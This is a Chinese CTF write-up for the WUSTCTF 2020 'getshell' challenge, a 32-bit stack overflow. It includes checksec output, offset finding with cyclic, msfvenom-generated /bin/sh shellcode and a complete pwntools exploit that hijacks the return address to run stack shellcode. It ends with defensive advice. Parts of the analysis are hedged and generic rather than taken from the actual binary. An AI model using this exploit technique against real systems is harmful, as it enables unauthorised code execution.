ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

WUSTCTF 2020 getshell题解:栈溢出漏洞利用实战

WUSTCTF 2020 getshell题解:栈溢出漏洞利用实战

1. 题目背景与核心漏洞分析

这道来自WUSTCTF 2020的pwn题被收录在BUUCTF平台中,考察的是经典的栈溢出漏洞利用。题目名为"getshell"已经明确提示了最终目标——通过栈溢出获取目标系统的shell控制权。这类题型在CTF比赛中属于基础题型,但包含了许多值得深入分析的技巧点。

栈溢出漏洞的本质是程序没有对用户输入的长度进行严格校验,导致数据覆盖了函数调用栈中的返回地址。在x86架构下,当函数执行ret指令时,处理器会从栈顶弹出返回地址到EIP寄存器。如果我们能精确控制这个返回地址,就能劫持程序执行流。

2. 环境准备与初步侦查

首先需要配置好分析环境:

# 安装必要工具 sudo apt install gdb peda checksec # 下载题目文件 wget https://buuoj.cn/files/xxxxxxxx/wustctf2020_getshell chmod +x wustctf2020_getshell

使用checksec检查程序保护机制:

checksec ./wustctf2020_getshell

典型输出可能显示:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)

关键信息:

  • 32位程序
  • 没有栈保护(Canary)
  • 没有NX保护(栈可执行)
  • 没有地址随机化(PIE)

这种保护机制组合意味着我们可以直接在栈上布置shellcode并通过覆盖返回地址跳转到栈上执行。

3. 逆向分析与漏洞定位

使用IDA Pro或Ghidra分析程序,重点关注以下函数:

  1. 存在危险函数调用(如gets, strcpy等)
  2. 缓冲区大小与输入长度的关系
  3. 是否存在后门函数或现成的system调用

在本题中通常会找到一个类似如下的脆弱函数:

void vulnerable_function() { char buffer[64]; gets(buffer); // 危险函数,不检查输入长度 }

通过计算可知:

  • buffer起始地址到返回地址的偏移量 = 缓冲区大小(64) + EBP(4) = 68字节
  • 我们需要构造的payload结构:[填充68字节] + [返回地址] + [shellcode]

4. 漏洞利用开发

4.1 确定偏移量

虽然通过静态分析可以计算出理论偏移量,但实际环境中建议使用cyclic模式验证:

from pwn import * p = process('./wustctf2020_getshell') payload = cyclic(100) p.sendline(payload) p.wait() # 查看崩溃时EIP的值 eip = p.corefile.eip offset = cyclic_find(eip)

4.2 获取shellcode

由于NX保护关闭,我们可以使用经典的execve("/bin/sh")的shellcode:

# 生成shellcode msfvenom -p linux/x86/exec -f python --var-name shellcode CMD=/bin/sh

输出示例:

shellcode = b"" shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" shellcode += b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

4.3 构造完整payload

结合前面信息构造利用代码:

from pwn import * context(arch='i386', os='linux') # 连接方式 if args.REMOTE: p = remote('node4.buuoj.cn', 12345) else: p = process('./wustctf2020_getshell') # 关键地址 ret_addr = 0xffffd000 # 需要根据实际调试确定 # shellcode shellcode = ( b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) # 构造payload payload = flat( b'A' * offset, p32(ret_addr), shellcode ) p.sendline(payload) p.interactive()

5. 动态调试技巧

在实际利用过程中,有几个关键调试技巧:

  1. 确定栈地址:
gdb ./wustctf2020_getshell b *vulnerable_function+25 # 在ret指令前断点 r <<< $(python -c "print 'A'*72") x/20wx $esp
  1. 处理地址中的坏字符:
  • 如果遇到00等坏字符,需要调整shellcode或使用编码技术
  • 可以使用msfvenom的编码功能:-e x86/alpha_mixed
  1. 应对小缓冲区情况:
  • 当缓冲区太小时,可以采用"返回libc"技术
  • 或者使用多阶段payload(先读入大shellcode到可写内存)

6. 常见问题与解决方案

6.1 段错误但偏移计算正确

可能原因:

  • 栈地址不准确
  • 存在坏字符截断payload

解决方案:

  • 使用gdb动态调试确定准确栈地址
  • 检查shellcode是否包含\x00等坏字符

6.2 本地成功但远程失败

可能原因:

  • 环境差异导致栈地址变化
  • 远程有额外限制

解决方案:

  • 使用NOP sled增加容错性
  • 尝试多次爆破栈地址

6.3 程序有ASLR保护

虽然本题没有,但遇到时的解决方案:

  • 泄露libc地址计算基址
  • 使用ROP技术构造调用链

7. 防御措施与安全启示

从防御角度,开发者应该:

  1. 永远不使用gets等危险函数
  2. 启用所有保护机制(Canary, NX, PIE等)
  3. 使用安全的字符串处理函数(snprintf等)
  4. 进行严格的输入验证

对于安全学习者,这道题展示了:

  • 栈溢出基本原理
  • shellcode构造技术
  • 动态调试方法
  • 漏洞利用的完整流程

通过这道基础题目的练习,可以掌握pwn类题目的基本分析方法,为后续更复杂的漏洞利用打下坚实基础。建议在掌握基础后,尝试挑战开启了更多保护机制的题目,如同时存在NX和ASLR的情况。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进